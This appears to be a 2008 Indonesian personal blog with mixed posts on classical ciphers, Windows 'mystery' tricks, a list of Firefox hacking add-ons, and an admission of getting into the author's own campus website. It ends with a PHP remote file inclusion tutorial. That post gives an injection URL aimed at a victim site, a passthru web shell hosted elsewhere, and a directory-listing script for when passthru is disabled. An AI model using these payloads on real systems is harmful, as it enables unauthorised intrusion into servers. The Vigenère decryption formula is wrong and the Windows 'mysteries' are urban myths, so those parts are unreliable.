desktop di PC Kantor, PC rumah lom smpt dicapture … he.. he….
suka yang item2, lebih simple and elegan ….

Adalah cipher yang digunakan Jerman pada perang dunia I, dan berhasil dipecahkan oleh orang berkebangsaan Prancis.
Cipher ini menggunakan alphabet a-z dan angka 0-9 ditambah dengan karakter tertentu yaitu . , ? ! < > + = * : ; $

Bentuk tabelnya :
A D F G V X Z
A a b c d  e f  g
D h i  j  k  l  m n
F o p q r  s  t  u
G v w x y z  0  1
V 2 3 4 5 6  7  8
X 9  . ,  ? !  <
Z > + = * :  ;  $

Misal c = AF, b = AD

Adalah cipher polyalphabet yang dimana tiap hurufnya mempunyai beberapa tempat dari alphabet tersebut. Pada kolom dan baris adalah alphabet a-z sedangkan pertemuan dari keduanya juga merupakan alphabet a-z yang memiliki suatu pola tersendiri dari tiap kolom maupun barisnya.
Contoh :
Plaintext : ATTACKATDAWN
Key : LEMON

ATTACKATDAWN
LEMONLEMONLE

Ciphertext : LXFOPVEFRNHR

Jika alphabet a-z adalah 0-25 maka dapat ditulis dengan rumus :
Encrypsi
C = P + K (mod26)

Decrypsi
P = C + K (mod26)

ROT-13 adalah enkripsi sederhana yang menggunakan pergeseran karakter 13 kali. Dapat pula ditulis dengan rumus :

ROT₁₃(ROT₁₃(x)) = ROT₂₆(x) = x for any text x.

Karna alphabet jumlahnya ada 26.

Varian dari ROT-13 antara lain ROT-18 (TOT-13+5) yaitu ditambah dengan angka 0-9 sehingga bentuknya 0=5,1=6,2=7,3=8,4=9 dan ROT-47 dimana angka dan alphabet ditambah dengan karakter spesial termasuk spasi, dimana karakter-karakter tersebut terdapat dalam ASCII, misalnya ~, !, dan sebagainya.
Contohnya :
The Quick Brown Fox Jumps Over The Lazy Dog.
…enciphers to…
%96 “F:4< qC@H? u@I yF>AD ~G6C %96 {2KJ s@8]

ROT-13 chiper merupakan chiper termudah dan umum dalam seputar encrypt data.

Mungkin neh udah basi bgt, tapi lebih baik basi, daripada nggak tau sama sekali. He…he….

MAGIC #1
Orang India menemukan bahwa tidak ada seorang pun yang dapat membuat FOLDER di komputer dengan program Microsoft manapun dengan judul folder “CON”, “LPT1″, “COM1″. Ini merupakan hal nyata dan seluruh kru Microsoft sendiri tidak dapat menjawabnya kenapa hal ini bisa terjadi. Cobalah dengan membuat sebuah folder dengan nama CON atau con.
Bukalah My Document -> File -> New -> Folder -> ketik CON atau Con atau con
Apa yang terjadi?

MAGIC #2
Bagi anda para pengguna Windows, lakukanlah hal berikut ini:
1) Buka sebuah notepad file kosong
2) Ketiklah “Bush hid the facts” (tanpa tanda kutip ya)
3) Save di mana pun anda suka
4) Tutuplah dan bukalah kembali file tersebut.
Aneh bukan?

MAGIC #3: Microsoft Crazy Facts
Cobalah hal yang menarik ini, sungguh aneh! Bahkan Bill Gates sendiri tidak menemukan jawabannya kenapa ini bisa terjadi! Hal ini ditemukan oleh orang Brazil. Cobalah!
1)Buka program Microsoft Word dan ketik: =rand (200, 99)
2) kemudian anda ENTER
Apa yang anda temukan? Menarik bukan? coba aja…..

rabu, 19 maret 2008 pkl 9.22 AM.
neh aku temuin wktu akses ke hotmail.com, tiba2 direct ke mail.live.com, karna hotmail msh satu atap dgn msn (microsoft).
Server Error in ‘/’ Application.

<!– Web.Config Configuration File –>

<configuration>
<system.web>
<customErrors mode=”Off”/>
</system.web>
</configuration>

<!– Web.Config Configuration File –>

<configuration>
<system.web>
<customErrors mode=”RemoteOnly” defaultRedirect=”mycustompage.htm”/>
</system.web>
</configuration>

screent shotnya : ini dia

Sory, bukannya aku mo h**k kampus sendiri, tp aku cuman mo liat, eh malah bisa masuk. Ini hasilnya :

Lemlit
Dosen
alumni

Tapi aku nggak ngapain2 kok, suer….Jadi bwt adminnya segela diperbaiki, ada vul di webnya.

Add ons Mozilla yg dapat dimanfaatkan sbgt tools h***ck dkk :

1. HackBar [ https://addons.mozilla.org/en-US/firefox/addon/3899 ]
2. FireBug [ https://addons.mozilla.org/en-US/firefox/addon/1843 ]
3. Anonymouser [ https://addons.mozilla.org/en-US/firefox/addon/1415 ]
4. Whois [ https://addons.mozilla.org/en-US/firefox/addon/603 ]
5. Web Developer [ https://addons.mozilla.org/en-US/firefox/addon/60 ]
6. SwitchProxy Tool [https://addons.mozilla.org/en-US/firefox/addon/125]
7. Foxy Proxy [ https://addons.mozilla.org/en-US/firefox/addon/2464 ]
8. Reload Every [https://addons.mozilla.org/en-US/firefox/addon/115]
9. User Agent Switcher [ https://addons.mozilla.org/en-US/firefox/addon/59 ]
10. View Cookies [ https://addons.mozilla.org/en-US/firefox/addon/3587 ]
11. Modify Headers [ https://addons.mozilla.org/en-US/firefox/addon/967 ]
12. TiX Now! [https://addons.mozilla.org/en-US/firefox/addon/3601]
13. Wmlbrowser [ https://addons.mozilla.org/en-US/firefox/addon/62 ]
14. XSSMe [http://www.securitycompass.com/exploit_me/xssme/xssme-0.2.1.xpi]
15. SQL Inject-me [http://www.securitycompass.com/exploit_me/sqlime/sqlime-0.2.xpi]
16. Grease Monkey [https://addons.mozilla.org/en-US/firefox/addon/748]

NB : copast from n0c0py

Sudah banyak artikel2 yang membahas PHP injection. Salah satu command yang sering dipergunakan dalam aksi ‘php injection’ adalah ‘ls -al’ untuk melihat isi direktori. Seperti misalnya:
http://www.korban.com/index.php?page=http://www.situsku.com/cmd.txt &?cmd=ls -al

Dimana isi dari http://www.situsku.com/cmd.txt adalah
// begin of cmd.txt
<? passthru($_GET[cmd]); ?>
// end of cmd.txt

Namun, terkadang aksi itu gagal, tidak menghasilkan apapun atau hanya menghasilkan error. Salah satu kemungkinan penyebab kegagalan, fungsi dari passthru di’disable’ oleh sang admin. Tentunya hal ini dilakukan oleh sang admin dengan alasan keamanan. Tapi kita bisa mengakalinya dengan membuat script untuk melihat isi direktori.

Berikut script yang penulis modifikasi dari php manual:

// begining of list.txt
<?php
function lookdir($mydirectory) {
$strdir = array();
chdir($mydirectory);
echo “<br><br>Directory of $mydirectory “;
if($handle = opendir($mydirectory)) {
while (false !== ($file = readdir($handle))) {
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {

// Socket
$info = ’s’;
} elseif (($perms & 0xA000) == 0xA000) {

// Symbolic Link
$info = ‘l’;
} elseif (($perms & 0×8000) == 0×8000) {

// Regular
$info = ‘-’;
} elseif (($perms & 0×6000) == 0×6000) {

// Block special
$info = ‘b’;
} elseif (($perms & 0×4000) == 0×4000) {

// Directory
$info = ‘d’;
if ($file != “.”) {
if ($file != “..”) {
$strdir[] = $mydirectory . $file;//preg_replace(’//./’,’/’,$file);
}
}

//return $strdir;
} elseif (($perms & 0×2000) == 0×2000) {

// Character special
$info = ‘c’;
} elseif (($perms & 0×1000) == 0×1000) {

// FIFO pipe
$info = ‘p’;
} else {

// Unknown
$info = ‘u’;
}

// Owner
$info .= (($perms & 0×0100) ? ‘r’ : ‘-’);
$info .= (($perms & 0×0080) ? ‘w’ : ‘-’);
$info .= (($perms & 0×0040) ?
(($perms & 0×0800) ? ’s’ : ‘x’ ) :
(($perms & 0×0800) ? ‘S’ : ‘-’));

// Group
$info .= (($perms & 0×0020) ? ‘r’ : ‘-’);
$info .= (($perms & 0×0010) ? ‘w’ : ‘-’);
$info .= (($perms & 0×000 ?
(($perms & 0×0400) ? ’s’ : ‘x’ ) :
(($perms & 0×0400) ? ‘S’ : ‘-’));

// World
$info .= (($perms & 0×0004) ? ‘r’ : ‘-’);
$info .= (($perms & 0×0002) ? ‘w’ : ‘-’);
$info .= (($perms & 0×0001) ?
(($perms & 0×0200) ? ‘t’ : ‘x’ ) :
(($perms & 0×0200) ? ‘T’ : ‘-’));

$array_file_owner = posix_getpwuid(fileowner($file));
$array_file_group = posix_getgrgid(filegroup($file));

$info .= ” ” . $array_file_owner[’name’] . ” “;
$info .= $array_file_group[’name’] . ” “;
$info .= filesize($file) . ” “;
$info .= date(”M d Y”,filemtime($file)) . ” “;
$info .= $file;

echo “<br> $info”;
}
closedir($handle);
}
return $strdir;
} // end of function lookdir

$my_working_directory = getcwd();
lookdir($my_working_directory); // atau coba juga lookdir(”.”);

?>
// end of list.txt

Saat kita coba inject dengan menggunakan list.txt, misalnya:
http://www.korban.com/index.php?page=http://www.situsku.com/list.txt

akan menghasilkan isi direktori berikut permissionnya.Tidak rapih memang, tapi tujuan kita untuk melihat isi direktori bisa tercapai. Dengan fungsi fread,frwrite kita juga bisa membaca dan menulis/membuat sebuah file.

Silahkan dikembangkan.

NB:Copast from NN

Udah lama bgt aku nggak pernah ngeblog. Lagi sibuk ma pekerjaan, pulangnya aja sampe mlm2. Malah sabtu-minggu ada kerjaan juga. Waktu jam istirahat kantor, iseng-iseng aja buka blogku, gimana kondisinya, masih adakah ato udah tewas (he..he…serem amat). Ternyata masih idup kok (syukur deh). Aku juga bingung ma blogku, karna aku punya 5 blog (banyak juga yah). Maunya seh, semua blogku tutup diganti dengan web pribadi. Tapi domain ma hostingnya? Perlu biaya……
Setelah pikir sana-sini, akhirnya aku putusin bwt tetapin hanya 3 blogku, pertama http://exnome.wordpress.com , kedua http://exnome.blogspot.com , dan yang terakhir http://andex_teddy.blogs.friendster.com/my_blog/ .
Mulai hari ini, blog-blogku mulai hidup lagi neh. he…he……